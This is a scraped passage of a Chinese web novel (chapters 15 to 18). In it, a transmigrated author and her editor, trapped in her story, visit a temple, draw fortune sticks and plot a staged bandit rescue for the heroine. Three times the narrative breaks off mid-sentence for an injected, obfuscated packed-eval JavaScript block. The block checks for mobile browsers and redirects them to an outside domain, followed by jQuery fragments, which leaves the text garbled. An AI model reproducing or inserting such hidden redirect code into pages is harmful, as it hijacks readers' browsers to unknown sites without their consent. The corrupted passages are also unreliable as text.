左手掌上缠着一层纱布,下午受的伤已经敷上药,展颜将左手规规矩矩放置在桌上,右手握着毛笔在簿子上刷刷地写。 “祁浮生,白眼狼……说好的要听我的,没过一天就全忘了!” “啪——”毛笔被扔在桌上,发出轻响,觉得不过瘾,展颜又把笔拿起来重摔了一次。 算了,笔是无辜的,展颜叹了口气,总觉得不对劲。 祁浮生今日太反常,好像变了一个人,变得……对了!变得像原书里的祁浮生! 展颜一拍脑门反应过来,可是不对啊,他昨日还说不用遵循人设,难道…… 难道他已经被傅朝尘找上了,被迫演得这么一出? 背后发凉,展颜缩着脖子向院墙的四个角张望,嗯,没有人监视我。 那就说通了,展颜长舒一口气,可随后又神经紧张起来,那我今日的表现也太掉马了!希望傅朝尘没有那个脑子想到我和祁浮生的关系。 心事想通,心情自然也就放松,展颜伸展双臂,打了个哈气,睡觉! 此时此刻,对着月光看的另一个人却是睡不着。 祁浮生坐在屋子的门槛上,今日发生的一切都太奇怪了,安福,春日斋里的客人,还有什么月试骑射,祁浮生低头看了看自己负上薄茧的手,那个展颜说的话稀奇古怪的他听不懂,好像他们已经认识很久一般。 最重要的是时间不对,今日距离百花宴已经足足过了将近半月的时间,而他的记忆完完全全停留在半月前,这半个月他仿佛就像一具没有意识的傀儡,连半点记忆都不曾有。 这可不是一件好事。祁浮生站起,心里像压着一块石头,难以喘息。 父亲这几日看他的眼神柔和了许多,是因为他会了骑射?祁浮生双手紧握成拳,他不喜欢这种感觉,甚至厌恶! 压迫的感受越来越剧烈,窒息感随之而来。 “来了?”祁浮生挑眉,这一次有感觉,他觉得身上开始发麻,但是意识不同于上一次,这次是清醒的。冷静地思考着,祁浮生没有一点反抗,感受着自己的手臂渐渐僵硬,唇角勾起,那就让我看看你到底想要做什么…… *** 马车在清晨的微光里缓缓前行,车轮是由上好的檀木制成,每一寸都打磨得光滑如镜,即使是行驶在颠簸的山路上,也几乎听不见任何刺耳的声响。 香积寺的轮廓渐渐清晰,今日是来香积寺上香的日子。展颜靠在车里的软垫上还泛着困。 香积寺求姻缘的情节比原书里提前出现,展颜猜测是因为他们的行动开始产生了蝴蝶效应,虽然不知是祸是福,但有变化总比没有好。 “阿颜是否还记的自己来过这香积寺?”姜燕回笑着问道。 一句话,把展颜给问清醒了。 姜燕回知道自己来过香积寺?不可能啊,之前秘密见祁浮生她明明是偷偷跑出来的。 看展颜一脸疑惑模样,姜燕回道:“那时候你还小,也就只有五岁,记不得也正常。” 原来是小时候的事情啊,那就好那就好,展颜长舒一口气。 “你那个时候还小,见你阿姐有什么就要什么,你阿姐那日脸上起疹子戴了个帷帽,你也吵嚷着要,娘就给你也戴上了,小小一个,帷帽上的纱都快有你个头长了。”姜燕回回忆道。 “你那个时候还耍着性子,拿着娘带来的点心就往外跑,时值大寒,那外头下着大雪,娘可是担心死了,等找到你的时候,你还是气鼓鼓的,说是把糕点都给讨饭的吃了也不给娘。”姜燕回说着,眼里没有半分责怪,“娘当时急坏了,只是想着你只要平安就好。” 展颜听了,摸摸鼻子:“娘以后阿颜不会了。” 姜燕回将展清梦和展颜的手双双拉过,轻轻握在手里:“转眼间你们也都长大了,娘也不求你们什么,不求你们嫁给高门大户,今日来上香,只求你们找到能够相守一生的良人,不至于蹉跎一生。” 眼泪在姜燕回和展清梦的眼眶里打转,情到深处时,展颜却也红了眼眶。 她给展清梦安排这样一个娘亲,就是因为自己不曾拥有过,展清梦的生辰和她都是一样的,还记得当时她写到展清梦生辰宴的时候,有家人的祝福相伴,那日还抱着稿子开心了一晚上。 香积寺的姻缘香火烧得长烧得旺,各家的女眷们络绎不绝。 展颜和展清梦分别跪在姜燕回两边的蒲团上,手里拿着一炷香,展颜学着两人的样子,拜了三拜,又跟着起身将手里的香规规矩矩插进了烟灰里。 姜燕回和寺庙的住持交代着下半年捐赠的香火钱,展颜就和展清梦先离开了大殿。 香积寺庙外的空地上支着许多的小铺子,都是些和姻缘有关的营生,占卜求签的占大多数。 各小摊前都有些零星散客,唯独只有一个小摊位前面没有人,摊主老头穿着一身青灰色道袍,手持一串佛珠,坐在摊子后的藤椅上,用手里的拂尘遮着阳,嘴里哼着不成调的小曲,一副与世无争的懒散模样,也不和其他摊主争客人。 瞥见展颜二人走出了大殿,老头微微一笑,从藤椅上一下子站起来,声音洪亮道:“施主,来这香积寺怎么不求个签呀,看看施主未来的姻缘,多好的机会怎就白白浪费?” 展清梦闻言,往老头的摊子前走去,眼看着她就要从荷包里掏银子了。 不是你真给啊? 展颜按住展清梦的手,对着老头笑道:“道长,我们来这不过就是上个香,心诚则灵的东西,占卜什么的,小女子们没有兴趣。” 一看就是招摇撞骗的,见她们是两个小女子好骗罢了,展颜想,要想问未来姻缘谁有她展颜清楚,遇到她,你可真是踢到铁板了。 见展颜一脸的防备模样,老头却哈哈笑出声。 “小姑娘,别那么早下定论嘛,红尘滚滚的,谁知道自己是否在戏中呢,我这里求签呐不要银子。”老头将桌上早已经摆着的两个签筒递到两人手里,“只是等着遇到有缘人,试试?” 不要钱?那不要钱可以。 展颜忘本地朝展清梦点点头,试试就试试。 两个签筒同时摇响,两支竹签同时落地,齐齐散落到了摊子桌板的帷幔底下,发出两声“噼啪”声。 “哎,怎的掉到那下面去了。”展清梦俯身,将盖在桌上的帷幔掀开,露出桌下的两根签子,将靠近展颜那边的竹签顺理成章地递给了展颜,“阿颜,这是你的。” 接过竹签,细细光滑的竹面上,红色的“上上”字明显。 “我这是……”展清梦拿着签子的手微微顿住,若有所思。 展颜顺着她手的方向看去,上头黑色的“下下”两字,格外刺眼。 老头观察着两人的表情,看着展颜手里的上上签,缓缓开口道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536089|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这位签子的主人,姻缘上不用担心,有贵人相助,船到桥头自然直,顺其自然即可。” 回首,老头拿过展清梦手里的签子,若有所思地摇摇头道:“这个嘛……姻缘较为坎坷,并非不可破,若是破了结局自然好,但若是稍有不慎,那……便会后悔一辈子。” 展清梦闻言眉头皱起。 这是什么和什么啊,展颜嗤之以鼻,将手里的签子丢在桌子上,要说展清梦的姻缘坎坷她还相信,结果说她展颜的姻缘一帆风顺,这怎么可能!她可是个二嫁的命! 骗子,指定是个骗子! “胡言乱语。”展颜拉过展清梦的手,回头看了老头一眼,撇撇嘴,“阿姐你不能信他的,你看他摊位前都没有人,还不要银子,就是业务能力不行,不可信的!” “但是……” “哎呀没有但是,阿姐你那么聪明怎么可以被江湖骗子骗呢……”展颜情绪激动地劝道。 两人携着手,向着寺庙后面的客房越走越远。 老头捋着胡子,看着走远的背影,轻笑着摇摇头,抬手将摆在桌上的两个签子调换了个位子,对着签子笑着说:“你也知道天机不可泄露啊,哈哈哈。” “有缘人见过啦,老头我回家喝酒去喽!”老头将桌上的签筒拿起装进包袱里,扬长而去。 *** 烛光摇曳,室内弥漫着淡淡的花香,百转屏风之后,水汽袅袅升起,如轻纱一般萦绕在展颜的身周,将她笼罩在一片朦胧之中。 展颜缓缓从浴桶里起身,肌肤如凝脂般光滑,水珠顺着发尾滑落,滴落在水面上发出细微的声响。 “秋果,将寝衣拿给我。”展颜唤道。 穿好衣服,手里拿着一方棉布,展颜边绞着头发,边从浴房里走出来,坐到了屋子的桌案边。 桌上摆着一个四四方方的檀木盒,盒里整整齐齐放着四块豆蔻色的花状糕点,隐隐传来淡淡的桃花香气。 “秋果,这是什么?”展颜指着糕点问道。 “这是方才姑娘沐浴的时候夫人送来的糕点,夫人说一定要让姑娘吃完,这是从寺里买来的点心,每个姑娘只能领一份。”秋果回忆着,“说是吃了可以牵成姻缘红线呢!” 姻缘红线……展颜嘴角扯起,保健品在这个时代指定好卖。 展颜扶额:“好的知道了,时辰不早了,秋果你早点歇息。” “那姑娘别忘了吃,秋果就在隔壁的客房,姑娘有事唤上秋果一声就好。”语罢,秋果关上了屋门。 “呼——” 展颜一下子躺倒在床铺上,好累呀,忙了一天终于可以休息了。将棉布扔在一边,算了头发湿点就湿点吧,她的手实在太酸了。 香积寺的床铺没有府里的床铺软,展颜认床,睡得不是很踏实,翻来覆去的。 “啪嗒——” 有什么东西敲打了一下窗户,展颜没有在意。 “啪嗒——” 又是一声,展颜有些不耐地翻了一个身。窗外的动静暂停了一会儿。 “啪嗒——” 谁啊!展颜一个激灵坐起身,还让不让人睡觉了。 噔噔噔地跑到窗户前,展颜一把拉开木窗,她倒要看看是哪个家伙大半夜不睡觉,来敲别人的—— “祁浮生?”展颜看清来人后愣住。 “嗨。”祁浮生默默丢掉手里的石子,并say了个hi。 16.花糕 “你这么晚到香积寺来干什么?” 展演侧过身,祁浮生攀着窗棂一个翻身进了屋子。 “你今天没有放风筝?”祁浮生疑惑问道。 “没有啊。”展颜不明所以。 祁浮生尴尬摸了摸鼻尖,昨日原主做的事情他全都知道,对于他来说,就是无法掌控身体而已。 昨晚掌控回身体的主权,他一觉如同昏迷一般,直到日上三竿。等到偶然询问展颜的动向,才从安福的嘴里得知展家二姑娘一早就坐马车来了香积寺,他以为自己错过了展颜的信号,便赶来在怀袖亭里等了一下午,才知展家安顿在寺庙的客房里,以为自己错过了,便又急急前来寻找。 看了一眼展颜左手上缠着的纱布,祁浮生有点心虚。 “你这伤……”他缓缓开口。 “哦你说这个啊,没事没事,只要能骗过傅朝尘就好!”展颜一副我领悟你放心的表情,拍了拍祁浮生的肩膀。 祁浮生:“?”啥玩意儿? “你放心,我都懂,昨日你来给阿姐送糕点是有傅朝尘的人在盯着你对不对?所以你要假装不认识我,做出一副倾慕展清梦的样子,就像原书里的那样,然后傅朝尘就会把你收入麾下,我厉害吧,不用你说,我自己就悟出来了!”展颜滔滔不绝道。 “呃……对。”祁浮生点头,既然她这么理解那他也就顺水推舟,失控这件事虽然之前和展颜提过一嘴,但上次没那么严重,他也就没有在意,昨日的那一次,他可以明显感受到另一个灵魂的躁动,祁浮生没有想好该如何同她解释,那就先不说。 展颜好奇问道:“那你今日来找我干什么?” “其实……”祁浮生瞎编道,“我昨日确实感觉到有人盯上我了。” 谎撒得脸不红心不跳。 “所以我才做了昨日的那一番试探,目的就是引出背后秘密监视我的人。”祁浮生神秘兮兮道,“不过你不用担心,现在他们没有跟上来。” “目前傅朝尘还没有当面找上我。”祁浮生尝试铺上后路,为自己的谎言提供可以转圜的余地。 “防患于未然,厉害呀!有脑子!”展颜又重重拍了一下祁浮生的肩膀,“那你是怎么察觉到有人在监视你的?” 展颜对这件事关心得很:“是和我们小说里描写的那样,比如说走在街上的时候,每次回头都能看见一个穿着便服的人悄悄跟在身后,其实是幕后boss的贴身侍卫!” 讲到兴头上,展颜开始手舞足蹈起来:“还是你正在饭馆里吃饭,侧过头的时候察觉到邻桌异样的目光?” “对了!还是说是——”展颜一拍脑门,话还没说出口,就被祁浮生打断。 “都不是,我就是感觉不对劲,很简单。”祁浮生侧头叹了口气,“收回你逐渐飞上银河系的脑回路。” “啊~”展颜一脸遗憾的模样,这么刺激的剧情怎么到他这就变得如此平淡,“就这?” “就这……这是什么?”祁浮生岔开了话题,再问下去就要暴露了,他指着姜燕回送给展颜的糕点。 “香积寺的花糕,我娘给我——哎你干嘛!” 祁浮生拿起一块就塞进了嘴里,仔细品味一番点头道:“挺好吃,甜而不腻。” “谁让你吃了?”展颜站起身欲抢夺。 祁浮生将木盒高高举起,他个头高,展颜即使踮起脚,头顶也才堪堪到他的下巴,手这么一举,她自然够不着。 “你把糕点就这样放一个晚上,早就坏了,我这是在给你解决负担。”祁浮生理直气壮,又拿起一块塞进嘴里。 抢她吃的还有理了,就算她不吃,那也是限量款啊,一人就一份的,展颜想。 “你还吃!”展颜绕着桌子捉祁浮生,奈何他像一条泥鳅一样撺得太快。 “我诅咒你一口胖十斤!”展颜追不上,只能咬牙切齿道,未注意到祁浮生已经停下了脚步,没有刹住车,一下子撞在了祁浮生的胸膛上。 “哎呦!”额头上吃痛,展颜后退站稳,“你不跑了就不能提前说一下嘛!” 展颜额头上隐约起了红痕。 “哪有猎人挖好了坑然后提醒猎物不要往下跳的?”祁浮生把手里的木盒递还给展颜,挑眉说道。 “你就给我剩了一块!” “晚上少吃点甜的。” “哼!”展颜被他这理不直气也壮的态度无语到了,抢过盒子猛得转过身,也不知是有意还是无意,乌发直直甩到祁浮生脸上,发丝还有点潮湿带着韧劲,在安静的屋子里传出一声轻微声响。 “嘶,你这头发。”祁浮生抬手抚去甩在下巴上的一点水渍。 “头发自己要打你的,不是我。”胡搅蛮缠谁不会,展颜背对着祁浮生,“祁二公子我要休息了,慢走不送!” 乌黑的发尾不时还往下滴着水滴,滴落在青灰色的地上留下浅浅水渍,又或是晕染在展颜快要拖地的衣裳背后。 “你就打算这样子睡觉?不怕发烧?”祁浮生伸手捉住展颜潮湿的发尾,许是觉得不妥,又松开了手。 “不行嘛,我太困了,这里又没有吹风机,绞头发太慢了。”展颜说着打了个哈气。 祁浮生闻言将桌上的棉布拿起,隔着棉布将展颜的发尾攥在了指间。 在展颜疑问的目光里,祁浮生迟缓开口:“别这么看着我,就当我是你用糕点支付的钟点工。” 免费服务怎么可以不享受,更何况那个人还是祁浮生,这个便宜得占,展颜也没多想,喜滋滋地往凳子上一坐:“那本姑娘就勉为其难领略一下祁二公子的手艺,要是不达标这边的要求是退货哦。” 在展颜身后看不见的地方,祁浮生的唇角勾起弧度:“退货的话这边要求支付一下邮费。” “无良商家。”展颜真的是困了,眼皮子打着架,将胳膊在桌面上团起来,头枕在上面闭目养神。 “祁浮生。” “嗯?” “你说我们多久才能出去啊?” “也许不久,也许很久。” “又是一句废话。” “好好好。”祁浮生答道,手上的动作未停,指尖隔着棉布拢着展颜半湿的长发,细细摩挲着每一根发丝,展颜的头发浓密,一时半会儿还擦不干,两人也没说话,就这样过了好一会儿。 “这三天我都在香积寺,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557944|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有什么事情,可以来怀袖亭找我。”祁浮生轻声说道。 素白棉布自发间缓缓绞过,那发丝凉凉的,偏又缠人得紧,绕在他的指尖不肯离去。 没有回应。 睡着了?听得身前之人呼吸渐匀,祁浮生垂眸看去,烛光下,展颜的眼睫在眼下投下两弯浅影,唇瓣微张像是还有什么未说完的话。 祁浮生不由屏息。绞头发的动作停下,鬼使神差地伸出手,自作主张地将挡在展颜面前的一缕碎发绕至耳后。 睡着的时候倒是没有那么牙尖嘴利了。 指尖的发丝已经干燥,但是祁浮生没有松开握着展颜发丝的手。 “再绞一遍好了……” 晚风轻轻吹着,花香混和着檀香,幽幽萦绕。 *** “姑娘?” 展颜睡眼朦胧间听见有人在唤她。刚想起身回应,脖颈间却传来一阵疼痛。 糟糕,好像是落枕了。 “姑娘昨晚怎么不上床睡,就趴在桌子上睡了一晚上吗?”秋果帮展颜揉着酸疼的脖颈。 “太困了,一时没注意就睡着了。”展颜歪着脑袋,昨晚什么时候睡着的她不记得,连祁浮生什么时候走的都不知道。 说到这,展颜不自觉地想到,小说里有这个桥段的时候不应该都是男主会在女主睡着之后抱上床然后再走的吗?祁浮生真是不解风情,就这么走了,展颜想着。 哎呀,我在想什么!展颜猝不及防在秋果疑惑的目光里敲了一下脑袋。 “姑娘你脸怎么有点红?”秋果有些担心地将手覆在展颜的额头上,“还有一点烫,莫不是染上了风寒?姑娘是不是昨晚头发没绞干就睡下了,都怪秋果,秋果就不应该听姑娘的让姑娘自个儿绞头发!” “不是的秋果,我只是觉得有些热。”展颜打着马虎眼。 她在想什么!她和祁浮生就只是合作关系,甚至是有福不能同享,有难更不能同当,自己怎么还想到那方面上去了。 展颜给了自己一个响亮的脑瓜崩清醒清醒。 “姑娘你真的没事吗?”秋果连忙握住展颜的手制止她再“伤害”自己,随后又侧过头暗自叨叨,“没道理啊,在庙里也能撞邪吗?” “叽里咕噜说什么呢,哎呀我真的没事。”展颜站起来对秋果一笑。 “快点洗漱吧,今日娘不是说要去那个什么侧殿里跪两个时辰的姻缘佛像吗,快点吧,不然等会儿可就要来不及了。”展颜催促秋果。 秋果将带来的铜盆放置在妆台前,寺庙的客房与平常人家的房间制式不同,没有专门梳妆的地方,说是妆台,不过就是在一张摆着笔墨纸砚的书桌上增加了一面光滑的铜镜,又腾出了一块地方用来放置姑娘家的妆匣。 寺里清晨的风清凉,带来山林间独有的青草气,拂去展颜脸上还残存着的那一丝躁意,连带着轻轻吹起桌案上宣纸的一角。 纸片发出“呼啦啦的”轻微声响,杏色的光滑纸面上,可见有黑色的墨迹潦草地勾勒出一只翻飞的风筝模样。 这是?祁浮生留下的?展颜将纸片从镇纸下面抽出来,仔细看了看。 明白了。 17.撞破 侧殿里,展颜“虔诚”地跪在蒲团之上,闭着眼嘴里念念有词。 耳边传来殿门关上的声音,秋果小跑到展颜身边。 展颜微眯着的眼睛睁开,侧头悄声问道:“走了吗?” “嗯!夫人已经走了,秋果亲眼看见的!”秋果点头如捣蒜。 一个大放松,展颜直接坐在了地上,没有人盯着,都爱跪谁跪,谁跪谁傻。 “那我阿姐呢?”展颜边捶着已经有些酸疼的膝盖边抬头问道。 秋果蹲在自家姑娘身边,帮姑娘整理了下裙摆道:“大姑娘现下正跪在隔壁的殿里呢。” 好机会!正好趁着没人管她的时候偷偷跑到怀袖亭去找祁浮生! “那个……秋果啊,我这肚子好像有点疼。”展颜弯着腰,观察着秋果的表情,故技重施道。 “姑娘又想诓骗秋果吗?上次姑娘也这么说的,结果姑娘久久不回来,秋果担心坏了去找愣是没找到!”秋果闻言就想到上次被骗的经历,委屈道,“这次可不能了,秋果不会放姑娘走的,秋果要看住姑娘,不然到时候姑娘要是嫁不出去可就是秋果的不是了。” 完了被识破了,展颜抿嘴有些尴尬,但是作为作者的职业经验告诉她:编!能改!反正小说里的情节常常都是莫名其妙得很。 “我这次是真的……” “不行!” “……” “我今个这个脖子疼得很,我想出去——”展颜换了个思路。 “那秋果去给姑娘请大夫!”秋果脸上一副视死如归的表情,展颜知道她今日是打定主意不让自己出去了。 窗子间隙里照进来的阳光洒在地面上,树影晃动着,一时间两人僵持着对视无言。 看来,只有这个办法了!牺牲一下吧! 展颜深吸口气:“秋果啊,我一直有件事情没告诉你。” “其实,你家姑娘这次想要出去,不为别的,只为了去见一见心爱的情郎!你也不愿意看到我孤独终老对不对?所以你帮我一次,好不好?”展颜哭诉。 展颜亲眼看见秋果的眼神从怀疑到震惊,最后竟羞到满脸通红。 “姑,姑娘你。” “是。”展颜一脸无奈地说,“我也就只能趁着这个时间偷偷出去见见他,秋果,我知道你待我是真心的,一定会成全我的对吗?” 展颜大眼睛忽闪忽闪的,狐狸眼媚得勾人心魄,秋果磕磕绊绊地说道:“是……是。” “太好了秋果,我就知道我没看错人!”展颜急忙扶着地站起身,蹑手蹑脚地小跑到侧殿后门。 “秋果你就待在这里,不要跟我一起去了,如果有人来你就说姑娘在诚心拜佛不能有人打扰知道吗,我的幸福就交到你手里了!”展颜对秋果委以重任。 “姑娘我——”秋果纠结到眉毛拧成八字状。 “你可以的!”展颜给她加油,随后“咣”得一声轻响,木门在秋果面前关上。 一路上,展颜左躲西藏地避让着人,终是有惊无险地安全抵达怀袖亭。 一抹深蓝色的背影早已经等候在亭里。 “哎呦,终于是到了。”展颜脱力般地坐下,这一路上可谓是经过了九九八十一难。 先是秋果那一关,方才在路上的时候,又经过寺庙的膳房,听见里面传来闹哄哄的声音,说是昨晚有人偷偷用厨房把一个锅给烧黑了,展颜躲在茅草后面等到人都散了才又出发。 “说吧今天找我来什么事。”展颜问道。 祁浮生今日穿着一身深蓝的长袍,腰间配着黑金色的腰带,发间的发扣今日不是银色的换成了金色,还挺讲究,比她打扮得都好看,展颜下意识摸了摸发髻,点评到。 “这个给你。”祁浮生将桌子上放着的一个盒子推给展颜。 “这是什么?”展颜好奇地看着盒子,想要打开。 “别!”祁浮生立刻制止,“你回去再打开。” “这么神秘。”展颜眼神一斜,看着祁浮生揶揄道。 “好了好了,说正事,我们的任务该要提上日程了,再拖下去猴年马月都完成不了。”祁浮生打断展颜的“奇思妙想”。 “怎么,你有想法?”展颜有一种幻视编辑催稿的感觉。 “有一个,可以一试。” “说来听听。” 祁浮生清了清嗓子,道:“你平常写玛丽苏文的时候,促进男女主感情最直截了当的情节是什么。” “你是说……英雄救美?”展颜闻言,兴奋到两眼发光。 “没错!”祁浮生点头,一副运筹帷幄的样子,“我们就给他们来造一个英雄救美的情节。” 展颜听得认真。 “明日展府的马车就会下山,路上会路过一片竹林,我到时候找来一些练家子装作山匪埋伏在那里,届时我会以切磋骑术为借口邀祁泽川来这片林子,他也必定经过那片竹林,造一场英雄救美的好戏。”祁浮生绘声绘色道。 “可以哎,那需要我做什么?”展颜问道,兴奋地撮着手,之前安排这种重磅情节都是面对着无法穿越的纸片或是冷冰冰的屏幕,现下能来一场真实的3D实战,想想就刺激! “你只需要确保让展清梦在正确的时间出现在正确的地点就可以。” “没问题,保证完成任务!”无数的情节设计已经在展颜的脑海里开始盘旋起来,叽叽喳喳地叫嚣着。 少年从天而降救少女于水火之中;又或是少年射出的箭远远一箭射在山匪脖子边的竹节上给“坏人”一个狠狠的震慑…… “别演露馅了。”祁浮生看着展颜浮想联翩的模样,不放心地叮嘱道。 “事情交给我你放心!”展颜拍胸脯保证。 这边聊得有多热火朝天,放飞自我,秋果那边就有多焦灼。 不要有人过来,千万不要有人过来……秋果在侧殿里来回踱着步念叨着。 但俗话说的好,怕什么来什么。 大概过了一个时辰,展清梦自门外敲响了殿门,秋果的脸色瞬间被吓得惨白。 “阿颜,歇息一会儿吧,娘这会儿不在。”展清梦温柔的声音在门外响起。 “阿姐给你带了点吃的,是你喜欢的甜食,可要吃一点?” 这该如何是好啊?秋果犹豫再三,最终还是慌张应道:“大姑娘,二姑娘说她诚,诚,诚心拜佛不能被打扰,您还是请回吧。” 展清梦可不是好骗的,按照自家阿妹的性格,在那次落水之前就是能偷懒则偷懒,自那之后更是能坐着绝不站着,能躺着绝不坐着,现在怎么可能为了跪姻缘佛这般执着,殿里久久没有传来展颜的声音,有问题。 “姻缘什么的哪有自己的身体重要,阿颜还是歇息一下吧。阿姐进来送个甜食就走可好?”展清梦说着便要推开屋门。 秋果急得满脸通红,姑娘可是出去会情郎去了,作为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557945|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下人她又不好拦着大姑娘,这下该如何是好啊! 犹豫间,屋门已经被展清梦从外面推开,秋果腿一软扑通一下跪在地上,额头扣在手背上,根本不敢抬头。 果然,侧殿的蒲团上空空,香还点着,屋子里却除了秋果外再没有其他人,展颜的影子早就不知道飞到什么地方去了。 展清梦平静地将手里的点心放在屋里的桌案上,这才回过头对秋果温声道:“你也不必跪着快起来,一定是阿颜让你这么做的吧,就知道她的性子绝对不会乖乖待在这里的。” 展清梦见秋果颤颤巍巍地起身又道:“也幸好我比娘先来,快说吧阿颜去做什么了?现下在何处?好去先把她找回来。” 秋果这么一听更慌了,自家姑娘没有同她说去哪了啊!只说了是去……见情郎,但是这种事情秋果打死都不会告诉别人的! 秋果的脸又不争气地红了起来。 “姑……姑娘昨晚上脖子不适,现下在庙里自己四处逛逛,奴婢也不知,姑娘现在在何处……”秋果说话声越来越轻。 “什么叫你也不知道?”展清梦在这一刻才真正有些慌张起来,原以为只是普通的偷偷懒,不带下人也好说,但至少要让别人知道自己的下落吧,香积寺虽然是寺庙,但也不比府里,京城天子脚下都不是什么全全安然之地,这寺里更不用说了,建在山林之间,有什么山匪也再正常不过。 “阿颜离开多久了,有说自己往哪个方向去了吗?”展清梦的话语里是压抑着的焦急。 秋果自责摇头:“离开约莫快要一个时辰了,但是……不知道去了哪个方向。” “怎么能这么马虎?” 没有事情虚惊一场最好,但是现在还是把人找到比较重要。 “秋果,你跟我两个人一起去找,别招呼其他人。”展清梦当机立断道,事情还不清楚的情况下,越多人掺合进来闲言碎语就越多。 “是,大姑娘。”秋果只能应道,心里默默想着,姑娘秋果只能帮你到这里了。 *** 香积寺的后山清净,远远就能听见阵阵嚣张的笑声,展颜对侧殿里刚刚发生的一切全然不知,现下还笑得面红耳赤。 “真的假的?!当编辑还能遇到这么离谱的事情?” “只有你想不到的,没有你见不到的。”祁浮生扶额苦笑,“之前有一次我去催稿,一半的作者病了,剩下的不是家里的水管破了就是电脑进水了,最后剩下的稿子一发来能直接给我送上头七,连香都不用上了。” “哈哈哈哈哈,那这样看来我还是很勤奋的嘛。”展颜臭屁道。 “确实有可取之处,意志力可嘉,被我杀了十次文还不放弃。” “这句话其实可以不说。”展颜狂笑的嘴角瞬间挂下来。 两人聊得投入,也是没有注意到后山的小径上,展清梦正焦急地寻着人。 远远就听见了展颜的大嗓门。 展清梦急促的脚步声迟疑地停下,好像听见了阿颜的声音,是从……那边的亭子里传来的。 展清梦的目光往湖边望去,隐约可以看见亭子里展颜的人影,她长舒一口气。 可除了展颜之外,亭子里还有一个人。展清梦掩身在一边的树干之后。 阿颜怎么会和祁浮生在一起,两个人还聊得这般开心?难道?之前就在展清梦心里出现的猜想此时更加的肯定。 原来是这样…… 18.乌龙 “阿颜。”展清梦给展颜拆着发髻。 “嗯?阿姐怎么啦?”展颜坐在妆台前把玩着白天祁浮生送的盒子,漫不经心地开口道。 今日展清梦特意支走了秋果,说要和她说些姐妹间的悄悄话。 “这个盒子,是祁二公子送给你的吗?” 闻言,展颜的手一颤,差点手滑没拿稳。 “阿姐怎么这么说?”不会吧不会吧,展颜面上不显,但是内心却慌到不行,展清梦难道听见自己和祁浮生的对话了? “何不打开看看?”展清梦没有正面回答她的话,反而鼓励道。 展颜不敢打开,倒不是害怕盒子里装了什么,只是怕被展清梦看见里面的东西后难免会怀疑到一些,比如说他们二人暗中撮合她和祁泽川的事情。 可是箭在弦上不得不发,展颜找不到有力的借口拒绝,只能是缓慢地一点一点地将盒子打开。指尖触摸着盒子上的雕花,“咔哒”一声, 展颜:“?”她伸出的手悬在半空中。 盒子里整整齐齐码着四枚泛着蜜色的点心,这是? 展清梦喉间溢出一声模糊的气声,说不清是笑还是叹,眼神里揶揄的神态是藏不住了。 “看来祁二公子对我们阿颜很是上心啊。” “没有的事!”展颜知道展清梦是误会了,连忙解释道,“他,他送我糕点是因为昨晚他把娘给我的糕点吃完了于心不安,对,就是这样的!” “哦?昨晚阿颜也和祁二公子在一起?”展清梦抓重点也不是一般的厉害。 展颜:“……” 这怎么还给自己聊自曝了呢。展颜哑口无言,现在说什么好像都是在掩饰,越描越黑。 “好啦好啦,不同你开玩笑了。”展清梦将展颜发间的最后一根珠钗取下,“阿颜是如何想的?” 展颜透过桌上的铜镜看着展清梦疑惑道:“什么如何想的?” “这盒子里样式的点心香积寺可没有,昨晚寺里膳房的一口锅还被烧黑了,阿颜还不明白吗?”展清梦笑眯眯地看着展颜。 这一看就是昨晚祁家二公子跑到膳房里忙活了一晚上做出来的点心,至于他为何要给自家妹妹做点心展清梦还无从知晓。 以前这两个家伙见面就跟不认识一样,即使展祁两家因为上一辈的原因常常见面,展颜和祁浮生说的话她用一只手都能数得过来。 没想到啊,这两个小家伙竟然在所有人都不知情的情况下…… 展清梦想得美滋滋,展颜的内心却已经像是被雷电劈了七七四十九次一般,想死的心都有了。 怎么吃瓜这种事情吃到她身上来了? *** 次日下午,展颜同展清梦坐在了回府的马车上。 昨晚不知道出了什么事情,姜燕回突然有事先行回了府,只是粗略说了她们爹爹有事要与她商量,便风风火火地走了,一刻也不能耽搁的架势。 展颜听了也就左耳朵进右耳朵出,没太在意,因为她现在有更重要的事情要做。 暮春时节的京城郊外,竹林如海,翠浪翻涌。 展颜撩开马车的帘子,兴奋得坐立难安,探出半个脑袋,一双眼睛滴溜溜地转着,打量着这片即将上演好戏的竹林。 “坐稳些,当心摔着。”展清梦道。 “好!”展颜压抑住自己的性子缩回了马车里,心里暗戳戳地想,祁浮生那家伙安排的人怎么还不来,再过会就出竹林了。 就在这时—— “砰” 马车在略微崎岖的山路上猛得一震,外头传来车夫紧急勒停马匹的杂乱声响。 来了来了! 展颜眼睛一亮,action! 